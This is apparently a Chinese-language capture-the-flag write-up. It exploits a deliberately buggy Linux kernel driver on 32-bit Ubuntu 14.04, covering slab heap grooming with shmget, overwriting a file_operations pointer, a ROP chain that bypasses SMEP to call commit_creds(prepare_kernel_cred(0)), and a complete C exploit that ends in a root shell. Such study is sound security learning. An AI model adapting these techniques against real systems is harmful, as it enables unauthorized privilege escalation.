0x00 簡介
之前只接觸過應用層的漏洞利用, 這次第一次接觸到內核層次的,小結一下。
0x01 概況
這次接觸到的,是吾愛破解挑戰賽里的一個題,給了一個有問題的驅動程序,要求在ubuntu 14.04 32位系統環境下提權。驅動實現了write函數,但是write可以寫0x5a0000000個字節。然后還實現了一個ioctl,這里有任意地址寫的問題(但是這個分析里沒用到)。還有一個read函數,這個可以讀取堆上的數據。驅動的代碼可以在這里下載到:http://www.52pojie.cn/thread-480792-1-1.html
static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos) { unsigned long p = *ppos; unsigned int count = size; int ret = 0; struct mem_dev *dev = filp->private_data; if((dev->size >> 24 & 0xff) != 0x5a) //dev->size == 0x5aXXXXXX return -EFAULT; if (p > dev->size) return -ENOMEM; if (count > dev->size - p) count = dev->size - p; if (copy_from_user((void *)(dev->data + p), buf, count)) { ret = -EFAULT; } else { *ppos += count; ret = count; } return ret; } static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) { struct mem_init data; if(!arg) return -EINVAL; if(copy_from_user(&data, (void *)arg, sizeof(data))) { return -EFAULT; } if(data.len <= 0 || data.len >= 0x1000000) return -EINVAL; if(data.idx < 0) return -EINVAL; switch(cmd) { case 0: mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff); mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL); printk(KERN_DEBUG "heap:%p\n",mem_devp[data.idx].data); if(!mem_devp[data.idx].data) { return -ENOMEM; } memset(mem_devp[data.idx].data, 0, data.len); break; default: return -EINVAL; } return 0; } static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos) { unsigned long p = *ppos; unsigned int count = size; int ret = 0; struct mem_dev *dev = filp->private_data; if((dev->size >> 24 & 0xff) != 0x5a) return -EFAULT; if (p > dev->size) return -ENOMEM; if (count > dev->size - p) count = dev->size - p; if (copy_to_user(buf, (void*)(dev->data + p), count)) { ret = -EFAULT; } else { *ppos += count; ret = count; } return ret; }
write里的dev->data是通過調用ioctl后kmalloc出來的,kmalloc的size可以自行指定。於是通過這個write,可以寫內核堆,甚至寫到內核棧里。我用的方法是覆蓋內核某個堆結構,改掉其上的某個指針,最好是某個函數指針,或者函數表指針。具體的是shmid_kernel結構的file指針,里面存有shm_ops,這是shm的函數表,里面有shm_mmap,而這個函數可以在用戶態通過shmat調用到。shmid_kernel這個結構體,則會通過在系統調用shmget時,被kmalloc。在我操作的機器上(32位):
shmid_kernel分配時的大小是64+92 = 156:
struct shmid_kernel //結構體大小為92bytes { struct kern_ipc_perm shm_perm; struct file *shm_file; unsigned long shm_nattch; unsigned long shm_segsz; time_t shm_atim; time_t shm_dtim; time_t shm_ctim; pid_t shm_cprid; pid_t shm_lprid; struct user_struct *mlock_user; struct task_struct *shm_creator; struct list_head shm_clist; };
0x02 覆蓋前的堆排布
要保證能覆蓋到特定的結構,首先是要保證,申請到的內存是相鄰的。內核里kmalloc是slab的分配機制。一次至少會分配一個頁面,然后把這個頁面分為很多個連續的塊,這些塊的信息,可以通過cat /proc/slabinfo看到:
分配的時候,是向上對齊的。比如,如果kmalloc的size滿足區間(128,192],那么就會給它分配一個192大小的塊。如果有空閑的塊,則把空閑的塊分配出去。只有當所有分配的slab里的塊,都被占用了,才會去分配新的slab(里面有很多相鄰內存的大小相同的塊)。比如說需要一個192的塊,而已經分配的192的slab里沒有空閑的,就會分配一個頁面的內存,里面分成4096/192 = 21個192bytes的塊,然后拿出第一塊分配出去,再申請,則拿出第二塊,以此類推。
//slab的圖
所以,如果我們想要得到兩個相鄰的塊。有這么幾點要求:
- 申請的兩個塊的大小是處於同一區間的(這里假設都是申請192的塊)
- 申請之前得消耗掉所有空閑的大小為192的塊
- 兩個塊要連續申請。也就是申請第一個塊之后要馬上申請第二個。
所以,在這里來說,我們想要通過write,來覆蓋掉下一個堆塊,即我們的目標堆塊shmid_kernel (占用一個192的slab塊),要這么做:
- 不斷調用ioctl(fd,0,&arg),並設置arg.idx = 192,來消耗掉空閑的192大小的slab塊。
-
馬上調用shmget(IPC_PRIVATE,1024,IPC_CREAT | 0666)來申請一塊192的空間。這時,這個塊有20/21的概率,我們最后一次ioctl得到的塊,是相鄰的。
arg.idx = 0; arg.len = 192; for(i=0;i<1000;i++) ioctl(fd,0,&arg); shmid = shmget(IPC_PRIVATE,1024,IPC_CREAT | 0666); arg.idx = 1; ioctl(fd,0,&arg);
這之后再用write來進行覆蓋,就能達到我們的目的。
0x03 overflow shmid_kernel
為了確保我們的堆排布好了,我給這個有漏洞的驅動,patch了一行代碼,使得能夠把每次kmalloc的地址打印出來:
而且在exp里,調用shmget之后,再一次調用ioctl來kmalloc一個192的塊。那么得到的dmesg:
最后兩次 ioctl,中間相隔了2個0xC0的大小,其中一個應該是shmid_kernel。那么還有一個是什么?通過調用驅動的read,讀取這段堆上的內存,我發現:還有一個是shmid_kernel結構的shm_file,排布是這樣的:
addr | type |
---|---|
0xc04e43c0 | dev[0]->data |
0xc04e4480 | shmid_kernel |
0xc04e4540 | shmid_file |
0xc04e4600 | dev1->data |
最開始的計划,是覆蓋shmid_kernel結構的shmid_file指針(shmid_kernel+0x6c),但是現在發現可以直接覆蓋shmid_file的fop(shmid_file+0x14),這是指向其file_operations的指針。我們只要把這個指針覆蓋,就能偽造file_operations,於是偽造一個file_operations,在偏移0x40處,指定0x41414141。其余的內容,由於我們可以通過read讀取堆內容,所以write的時候,直接復制過去,改別的。 但是如果沒有read,我們也可以自己偽造一個shmid_kernel,當然肯定會麻煩一些。因為有一些檢查是要繞過的。
read(fd[2],readbuf,oversize); //由於llseek的限制,fd [0,1,2]做一個區分 memcpy(buf,readbuf,oversize); map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0); memcpy(map,41,0x100); struct file **shm_file; shm_file = (struct file **)(buf+0x194); *shm_file = (void *)0x5a000000; //fack_fop == 0x5a000000; //fack_fop_mmap == 0x41414141; write(fd[0],buf,oversize); ret = shmat(shmid,NULL,0);
那么,調用shmat的時候,最終會調用:
shmid_kernel->shm_file->fop->mmap(...)。這個時候,我們就能得到內核的控制流。
0x04 SMEP
得到控制流后,最開始我是這么想的:
將控制流轉移到用戶態的代碼里來,進行提權,代碼可以是這樣子:
int __attribute__((regparm(3))) kernel_code(struct file *file, void *vma) { commit_creds(prepare_kernel_cred(0)); return -1; }
但是,這樣只能針對沒有開啟SMEP(Supervisor Mode Execution Protection Enable)的情況。
什么是SMEP?簡單來說,就是禁止內核執行用戶控件的代碼。它存在於CR4寄存器的第20 bit。
在安卓上,也叫PXN。因為傳統的內核提權漏洞利用,得到控制流之后,直接跳轉到用戶空間執行提權代碼,實在是太輕松,所以就加了這么一個緩解機制。
由於系統開了SMEP,這樣就只能在內核找ROP來拼湊提權代碼了。
0x05 ROP & 棧移植
構造ROP來調用
commit_creds(prepare_kernel_cred(0);
通過cat /proc/kallsyms得到符號表之后,可以定位prepare_kernel_cred和commit_creds的地址:
- C1082B60 T commit_creds
- C1082E20 T prepare_kernel_cred
只有prepare_kernel_cred(0)需要一個參數,傳進去。看了下prepare_kernel_cred函數的匯編,這個參數用eax傳遞。所以需要一條
pop eax
ret
或者是
xor eax,eax
ret
prepare_kernel_cred的返回值,會直接傳給commit_creds,並不用在rop鏈里構造。那么初步的應該是這樣子:
instruction | addr |
---|---|
pop eax;ret; | 0xc1431272 |
perpare_kernel_creds; | 0xc1082e20 |
commit_cred; | 0xc1082b60 |
問題來了:
rop鏈,首先要寫到棧里面去,問題是如何寫。
最后獲得控制流之前,eax 是內核堆上的地址,是shmid_kerneld的shm_file,里面的內容我們可以控制。ecx是偽造的fop表地址,我們可以完全控制。不好往棧里頭寫數據,不妨把棧給移植到能控制的地方來。
於是我第一次找的 xchg ecx,esp這樣的指令。但是一執行,系統就崩了。具體原因,本人猜測應該是內核棧esp不能指向用戶空間。具體什么原因,也沒深究。
所以第二次,我找的xchg eax,esp;ret 0x100這樣的指令。因為eax是shmid_file,還在內核空間,而其后面的數據都可以通過write控制,也就相當於能控制棧。還不用改寫shmid_file,只用在shmid_file頭4個字節寫上pop eax;ret;的地址,xchg之后的ret能順利執行就OK了。
memcpy(buf+0x180,rop,4); //rop[0] = 0xc1431272 ; //pop eax //ret
0x06 內核態返回
最后一個問題,內核態如何返回用戶態。
因為我們移植了內核棧,而內核態返回用戶態的時候,需要從內核棧里頭,彈出cs,eip,eflag,ss,esp等信息。當然,我們可以自己構造虛假的。但是內核棧里頭有很多結構體,特別是提取時候要用到的task結構體,就在內核棧開始的地方。我沒有試過構造虛假的內核棧,因為感覺太繁瑣,而且也不知道可不可行。
於是我采取的是另外一種思路:
把移植過來的棧,又移植回去。
所以,我需要一個寄存器,來保存被移植前的esp。而prepare_kernel_cred() 和 commit_creds()。會對esi,edi,ebx三個寄存器進行保護:
我選擇其中的esi來保存原始內核棧esp。那么rop鏈就變成了這樣子:
instruction | addr | |
---|---|---|
xchg eax,esp;ret | 0xc1020eb1 | 覆蓋到shm_mmap的指針 |
xchg eax,esi;ret | 0xc1071395 | 覆蓋shm_file的前四個字節 |
pop eax;ret; | 0xc1431272 | fack_stask |
fack_stask | ||
perpare_kernel_creds; | 0xc1082e20 | fack_stask |
commit_cred; | 0xc1082b60 | fack_stask |
xchg eax,esi;ret | 0xc1071395 | fack_stask |
xchg eax,esp;ret | 0xc1020eb1 | fack_stask |
0x07 get root shell
最后,我們再用戶態,調用:
setresuid(0, 0, 0); setresgid(0, 0, 0); execl("/bin/bash","/bin/bash",NULL);
整個提權利用,就完成了。
0x08 exp
有很多的內核漏洞文章,講了很多的內核漏洞利用技術:
修改ptmx->fop,修改addr_limit,修改task結構,修改中斷描述符,將SMEP位反位等等,都博大精深。學習的路還很長很長。下面是這次提權的代碼:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <limits.h> #include <inttypes.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <sys/shm.h> #include <sys/mman.h> #include <sys/stat.h> #define oversize 0x400 struct mem_init { unsigned int idx; unsigned int len; }; int prepare_kernel_creds = 0xc1082e20; int commit_creds = 0xc1082b60; int main(){ int fd[3],ret,i; int shmid; int *map; void *buf,*readbuf; struct mem_init arg; fd[0] = open("/dev/memdev0",O_RDWR); fd[1] = open("/dev/memdev1",O_RDWR); fd[2] = open("/dev/memdev2",O_RDWR); for(i=0;i<3;i++) if(fd[i] < 0){ printf("[-]open driver failed!\n"); return 0; } printf("[+]open driver success\n"); //prepare heap arg.idx = 0; arg.len = 92+0x40; for(i=0;i<1000;i++){ ioctl(fd[0],0,&arg); } arg.idx = 1; ioctl(fd[1],0,&arg); arg.idx = 2; ioctl(fd[2],0,&arg); buf = malloc(oversize); readbuf = malloc(oversize); shmid = shmget(IPC_PRIVATE, 1024, IPC_CREAT | 0666); printf("%d\n",shmid); arg.idx = 3; ioctl(fd[0],0,&arg); printf("[+] heap prepare OK!\n"); read(fd[2],readbuf,oversize); //read heap data memcpy(buf,readbuf,oversize); read(fd[0],readbuf,192*2); //set llseek point map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0); int **shm_file; shm_file = (int **)(buf+0x194); //fack fop *shm_file = (void *)0x5a000000; int rop[11]; rop[0] = 0xc1071395; //xchg eax,esi;ret rop[1] = 0xc1431272; //pop eax;ret rop[2] = 0; //eax rop[3] = prepare_kernel_creds; rop[4] = commit_creds; rop[5] = 0xc1071395; //xchg eax,esi;ret rop[6] = 0xc1020eb1; //xchg eax,esp;ret rop[7] = 0; rop[8] = 0; rop[9] = 0; rop[10] = 0xc1380373; //xchg eax,esp;ret 0x100 // xchg eax,esp;ret // xchg eax,esi;ret ; // pop eax;ret; 0xc1431272 // perpare_kernel_creds // commit_cred // xchg eax,esi;ret // xchg eax,esp;ret memcpy(map,rop,4*30); //map is fack fop memcpy(buf+0x180,rop,4); //after xchg eax,esp . ret memcpy(buf+0x280,rop,4*30);//fack stack write(fd[0],buf,oversize); printf("[+] heap write done\n"); printf("[+] read to triggle shellcode\n"); ret = (int)shmat(shmid,NULL,0); //triggle if(ret!=0) printf("[+] OK,ready to get root!\n press any key\n"); getchar(); setresuid(0, 0, 0); setresgid(0, 0, 0); execl("/bin/bash","/bin/bash",NULL); return 0; }